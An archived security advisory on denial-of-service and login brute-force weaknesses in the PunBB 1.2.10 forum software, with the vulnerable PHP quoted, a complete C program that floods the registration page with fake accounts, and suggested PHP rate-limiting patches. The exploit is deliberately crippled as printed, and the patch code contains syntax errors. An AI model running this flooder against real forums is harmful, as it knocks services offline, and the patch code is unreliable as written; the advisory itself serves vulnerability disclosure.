<<< Date Index >>>     <<< Thread Index >>>

PunBB 1.2.10 Multiple DoS Vulnerabilities



/*
---------------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]® PunBB 1.2.10 Multiple DoS Vulnerabilities
---------------------------------------------------------------
Program : PunBB 1.2.10
Homepage: http://www.punbb.org
Vulnerable Versions: PunBB 1.2.10 & lower ones
Risk: Critical!
Impact: Denial of service by registering too many users (Critical)
          Possible bruteforce attack to login (Low)

-> PunBB 1.2.10 Multiple DoS Vulnerabilites <-
---------------------------------------------------------------

- Description
---------------------------------------------------------------
In short, PunBB is a fast and lightweight PHP powered discussion board. 
It is released under the GNU Public License. Its primary goal is to be 
a faster, smaller and less graphic alternative to otherwise excellent 
discussion boards such as phpBB, Invision Power Board or vBulletin. 
PunBB has fewer features than many other discussion boards, but is 
generally faster and outputs smaller pages.

- Tested
---------------------------------------------------------------
Tested in localhost & many forums

- Bug
---------------------------------------------------------------
1- [ Denial of service ]
When the register query happens, the script doesn't check if the IP 
had registered another user before shortly.

This bug can lead to some 'nasty' consecuences:

- No more space in database.
- A parsing efficiency penalty.
- A headache for the admin trying to eliminate the users.
- Server undefined time out of service (Denial of service)

Here is the code:

      $now = time();

        $intial_group_id = ($pun_config['o_regs_verify'] == '0') ? 
      $pun_config['o_default_user_group'] : PUN_UNVERIFIED;
        $password_hash = pun_hash($password1);

        // Add the user
        $db->query('INSERT INTO '.$db->prefix.'users (username, group_id, 
password, 
email, email_setting, save_pass, timezone, language, style, registered, 
registration_ip, last_visit) VALUES(\''.$db->escape($username).'\', 
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', 
'.$email_setting.', 
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \'
'.$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().'\', 
'.$now.')') or error('Unable to create user', __FILE__, __LINE__, $db->error());

        $new_uid = $db->insert_id();

        // If we previously found out that the e-mail was banned
        if ($banned_email && $pun_config['o_mailing_list'] != '')
        {
                $mail_subject = 'Alert - Banned e-mail detected';
                $mail_message = 'User \''.$username.'\' registered with banned 
            e-mail address: '.$email1."\n\n".'User profile: '.$pun_config
            ['o_base_url'].'/profile.php?id='.$new_uid."\n\n".'-- '."\n".
            'Forum Mailer'."\n".'(Do not reply to this message)';

                pun_mail($pun_config['o_mailing_list'], $mail_subject, 
$mail_message);
        }

Before this code, there is no other query that checks against database flooding.

2- [ Possible bruteforce attack method to login ]

Maybe you think this kind of bugs are not bugs, but unfortunately nowadays 
there're so many pepole that practise this kind of attacks.
When a user registers, the forum say that the password should be at least 4 
bytes 
long, if we think a bit, cracking a 4 bytes long password (maybe alphanumeric, 
because I'm sure that 90% of passwords are like that) it would take some 
time depending of your connection and the server lactancy, but it's possible. 
Actually, the server will suffer an efficency penalty, however this bug it's 
considered as a `Low risk' bug.

Similar to the above bug, the script doesn't check if the IP has requested 
too many times to login without success. An attacker (lame..xD) can make a 
bruteforce attack to guess the password of any user he/she wants to.

login.php:

if (isset($_POST['form_sent']) && $action == 'in')
{
        $form_username = trim($_POST['req_username']);
        $form_password = trim($_POST['req_password']);

        $username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 
'username=\'
      '.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''.
      $db->escape($form_username).'\')';

        $result = $db->query('SELECT id, group_id, password, save_pass FROM '.
      $db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch user 
      info', __FILE__, __LINE__, $db->error());
        list($user_id, $group_id, $db_password_hash, $save_pass) = 
      $db->fetch_row($result);

        $authorized = false;

        if (!empty($db_password_hash))
        {
                $sha1_in_db = (strlen($db_password_hash) == 40) ? true : false;
                $sha1_available = (function_exists('sha1') || 
function_exists('mhash')) 
            ? true : false;

                $form_password_hash = pun_hash($form_password);
          // This could result in either an SHA-1 or an MD5 hash 
          (depends on $sha1_available)

                if ($sha1_in_db && $sha1_available && $db_password_hash 
            == $form_password_hash)
                        $authorized = true;
                else if (!$sha1_in_db && $db_password_hash == 
md5($form_password))
                {

- Exploit
---------------------------------------------------------------
[1] - Denial of service
Be considered and don't abuse of this kind of attacks.
The code has been modified, change whatever you think necessary to 
make it work. ;)

/*
  Name: NST-Exploit Punbb 2.0.10 Denial Of Service
  Copyright: NeoSecurity
  Author: K4P0
    
  [./]NST-XplPunbb www.victim.com 2.0.0.6 /punbb/
  
  #################################################
  PunBB 2.0.10 Denial of Service exploit by K4P0  
  Use only at your own reputation risk! ;)        

  www.NeoSecurityTeam.net                         
  #################################################

  [1] - Trying if connection is possible...
  [2] - Connected!
  [3] - Flooding localhost...
  
  Use it at your own risk!.
*/

#define WINDOWS
//#define LINUX

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WINDOWS
#include <winsock2.h>
#include <windows.h>
// Link to (lib)ws2_32.a
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#endif

#define NST_ALIVE 0

int  Connect(char*);
void SendPack(int, int, char*, char*); 
void _perror(char*);
void HowTo(char*);

int main(int argc, char* argv[])
{
  int vict_sock, dos = 0;
  puts("#################################################");
  puts(" PunBB 2.0.10 Denial of Service exploit by K4P0  ");
  puts(" Use only at your own reputation risk! ;)        \n");
  puts(" www.NeoSecurityTeam.net                         ");
  if(argc < 4) HowTo(argv[0]);
  puts("#################################################\n");

  printf("[1] - Trying if connection is possible...\n", argv[1]);
  fflush(stdout);
  vict_sock = Connect(argv[2]);
  printf("[2] - Connected!\n");
  printf("[3] - Flooding %s", argv[1]);
  #ifdef WINDOWS
  closesocket(vict_sock);
  #else
  close(vict_sock);
  #endif
  
  while(NST_ALIVE)
  {
                         if(!(dos % 10)) fprintf(stderr, ".");
                         vict_sock = Connect(argv[2]);
                         SendPack(vict_sock, dos, argv[3], argv[1]);
                         dos++;
                         #ifdef WINDOWS
                         closesocket(vict_sock);
                         WSACleanup();
                         #else
                         close(vict_sock);
                         #endif
  }
  return 0;
}
// I'm to lazy to use gethostby(addr|name) :)
int Connect(char* IP)
{
    struct sockaddr_in *_addr;
    int vict_sck;
    
    #ifdef WINDOWS
    WSADATA wsaData;
    if(WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
    {
                              //WSAGetLastError()? Nah...
                              fprintf(stderr, "[*]   WSAStartup() failed");
                              exit(-1);
    }
    #endif
    
    if(!(_addr=(struct sockaddr_in *)malloc(sizeof(struct sockaddr_in))))
    {
                     fprintf(stderr, "[*]   Unable to reserve memory");
                     exit(-1);
    }
      
    memset(_addr, 0x0, sizeof(struct sockaddr_in));
    _addr->sin_family = AF_INET;
    _addr->sin_port   = htons(80);
    _addr->sin_addr.s_addr = inet_addr(IP);
    
    #ifdef WINDOWS
    if((vict_sck = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 
0)
    {
                 fprintf(stderr, "WSASocket() failed");
                 exit(-1);
    }
    else
    if((vict_sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
                 _perror("socket() ");
    #endif
    
    if(connect(vict_sck, (struct sockaddr *)_addr, sizeof(struct sockaddr)) < 0)
                 _perror("connect() "); 
    
    free(_addr);
    return vict_sck; 
}

void SendPack(int v_sck, int var, char* path, char* DNS)
{
     char *HTTP_PACK, *HTTP_MPCK, *HTTP_POST;
     if(!(HTTP_PACK = (char *)malloc(2048)) || !(HTTP_MPCK = (char 
*)malloc(1024)) ||
        !(HTTP_POST = (char *)malloc(512)))
     {
                    fprintf(stderr, "Error trying to reserver memory");
                    exit(-1);
     }
     sprintf(HTTP_PACK, "POST %sregister.php?action=register HTTP/1.1\n"
                        "Host: %s\n"
                        "User-Agent: Mozilla/5.0 Gecko/20050511 Firefox/1.0.4\n"
                        "Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"
                        "Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3\n"
                        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n"
                        "Keep-Alive: 300\n"
                        "Proxy-Connection: keep-alive\n"
                        "Referer: http://%s%sregister.php\n";
                        "Content-Type: application/x-www-form-urlencoded\n", 
path, DNS, DNS, path);
                                                                            
     sprintf(HTTP_POST, 
"form_sent=1&req_username=%d__NsT&req_password1=flood&req_password2=flood&"
                        
"req_email1=%d_peace@xxxxxxx&timezone=-10&email_setting=1", var, var);
     
     sprintf(HTTP_MPCK, "Content-Length: %d\n\n", strlen(HTTP_POST));
        
     strcat(HTTP_PACK, HTTP_MPCK);
     strcat(HTTP_PACK, HTTP_POST);
     send(v_sck, HTTP_PACK, strlen(HTTP_PACK), 0);
     
     free(HTTP_PACK);
     free(HTTP_MPCK);
     free(HTTP_POST);
     return;
}

void _perror(char* msg)
{
     perror(msg);
     fflush(stdout);
     exit(-1);
}

void HowTo(char* program)
{
     fprintf(stderr, "%s <DNS> <IP> <Path>\n", program);
     fprintf(stderr, "f.e: ./NsT-XplPunbb www.victim.com 2.0.0.6 /punbb/\n");
     fprintf(stderr, "#################################################");
     exit(0);
}

// EOF

[2] - Possible brufeforce attack to login
NST will not release any code to exploit this bug.

- Solutions
---------------------------------------------------------------
1- [ Denial Of Service ]
A very simple fix should be implemented:

      $now = time();

        $intial_group_id = ($pun_config['o_regs_verify'] == '0') ? 
      $pun_config['o_default_user_group'] : PUN_UNVERIFIED;
        $password_hash = pun_hash($password1);

     // NeoSecurityTeam PunBB 1.2.10 DoS Patch by K4P0
     $reglimit = $now - 60*5; // Lets wait for 5 minutes.
     $SQL_Anti_Flood = 'SELECT * FROM '.db->prefix.'users WHERE registration_ip
                                =\''.get_remote_address().'\' AND 
registered>\''.$reglimit'\'';
     $checkflood = mysql_num_rows(mysql_query($SQL_Anti_Flood));
     
     if($checkflood > 0) error('Please wait some minutes to register again',
                                        'register.php', '', '');
        // IP doesn't try to flood our forum, insert user safely. :)

        // Add the user
        $db->query('INSERT INTO '.$db->prefix.'users (username, group_id, 
password, email, email_setting, save_pass, timezone, language, style, 
registered, registration_ip, last_visit) VALUES(\''.$db->escape($username).'\', 
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', 
'.$email_setting.', 
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \''.
$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().
'\', '.$now.')') or error('Unable to create user', __FILE__, __LINE__, 
$db->error());
        $new_uid = $db->insert_id();


        // If we previously found out that the e-mail was banned
        if ($banned_email && $pun_config['o_mailing_list'] != '')
        {
                $mail_subject = 'Alert - Banned e-mail detected';
                $mail_message = 'User \''.$username.'\' registered with 
banned e-mail address: '.$email1."\n\n".'User profile: '.$pun_config 
'o_base_url'].
'/profile.php?id='.$new_uid."\n\n".'-- '."\n".'Forum Mailer'."\n".
'(Do not reply to this message)';

                pun_mail($pun_config['o_mailing_list'], $mail_subject, 
$mail_message);
        }

2- [ Possible bruteforce attack method to login ]

- Implement a similar code that you can see above.
- Set password of 5 or more characters. 

Ok, the 'logical' solution it's the second because nobody can be so stupid to 
try 
to crack a 5 bytes length password remotely! but the `right' one it's the first.

Here you can see a possible fix:
Note: This method needs a new table called ($db->prefix)iptrylog wich 
contains when has a IP last try to login unsucecssfully.

Patch Part I  : Check if IP is trying to flood.
Patch Part II : If the IP has logged successfully, delete it from the iptrylog 
table.
Patch Part III: If the IP has logged unsuccessfully, insert it in the iptrylog 
table.

if (isset($_POST['form_sent']) && $action == 'in')
{
        $form_username = trim($_POST['req_username']);
        $form_password = trim($_POST['req_password']);

        $username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 
'username=\'
      '.$db->escape($form_username).'\'' : 
'LOWER(username)=LOWER(\''.$db->escape
      ($form_username).'\')';

     // NeoSecurityTeam PunBB 1.2.10 Bruteforce login Patch by K4P0 (Part 1/3)
        $logintime = time() - 10; // 10 seconds delay.
        $SQLoginCheck = 'SELECT * FROM '.db->prefix.'iptrylog WHERE ip=\'
     '.getremoteaddress().'\' and lastry>=\''.$logintime.'\'';
        
        $check = mysql_num_rows(mysql_query($SQLoginCheck));
        if($check > 0) error('Please wait some minutes to login again',
                                        'login.php', '', '');
        // End of part 1 of patch, see below

        $result = $db->query('SELECT id, group_id, password, save_pass FROM 
     '.$db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch 
     user info', __FILE__, __LINE__, $db->error());
        list($user_id, $group_id, $db_password_hash, $save_pass) = 
$db->fetch_row($result);

        $authorized = false;

        if (!empty($db_password_hash))
        {
                $sha1_in_db = (strlen($db_password_hash) == 40) ? true : false;
                $sha1_available = (function_exists('sha1') || 
function_exists('mhash')) 
            ? true : false;

                $form_password_hash = pun_hash($form_password); // This could 
result 
            in either an SHA-1 or an MD5 hash (depends on $sha1_available)

                if ($sha1_in_db && $sha1_available && $db_password_hash == 
                $form_password_hash)
                        $authorized = true;
                else if (!$sha1_in_db && $db_password_hash == 
md5($form_password))
                {
                        $authorized = true;
                        
                        // NeoSecurityTeam PunBB 1.2.10 Login Patch by K4P0 
(Part 2/3)
                        @mysql_query('DELETE FROM '.db->prefix.'iptrylog.' 
WHERE ip=\'
                 '.getremoteaddress().'\'');
                        // End of Part 2.
                        if ($sha1_available)    // There's an MD5 hash in the 
database, 
                   but SHA1 hashing is available, so we update the DB
                                $db->query('UPDATE '.$db->prefix.'users SET 
password=\'
                  '.$form_password_hash.'\' WHERE id='.$user_id) or error
                  ('Unable to update user password', __FILE__, __LINE__, 
$db->error());
                }
        }
        
        if (!$authorized)
        {
        // NeoSecurityTeam PunBB 1.2.10 login Patch by K4P0 (Part 3/3)
        @mysql_query('INSERT INTO '.db->prefix.'iptrylog (ip, lastry) VALUES 
      (\''.getremoteaddress().'\', \''.$logintime+10.'\')');

                message($lang_login['Wrong user/pass'].' <a href="login.php?
            action=forget">'.$lang_login['Forgotten pass'].'</a>');
}

- References
---------------------------------------------------------------
http://www.neosecurityteam.net/advisories/Advisory-16.txt

- Credits
--------------------------------------------------------------
Discovered by K4P0 -> k4p0k4p0[at]hotmail[dot]com

[N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/

Irc.InfoGroup.cl #neosecurityteam

- Greets
---------------------------------------------------------------
Paisterist 
HaCkZaTaN 
Link 
Daemon21 
erg0t
NST Comunity!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@''''
'@@'''@@@@'''''''''@@@''''@@@''''
@@@@''''@@'@@@@@@@@@@''''@@@@@'''
*/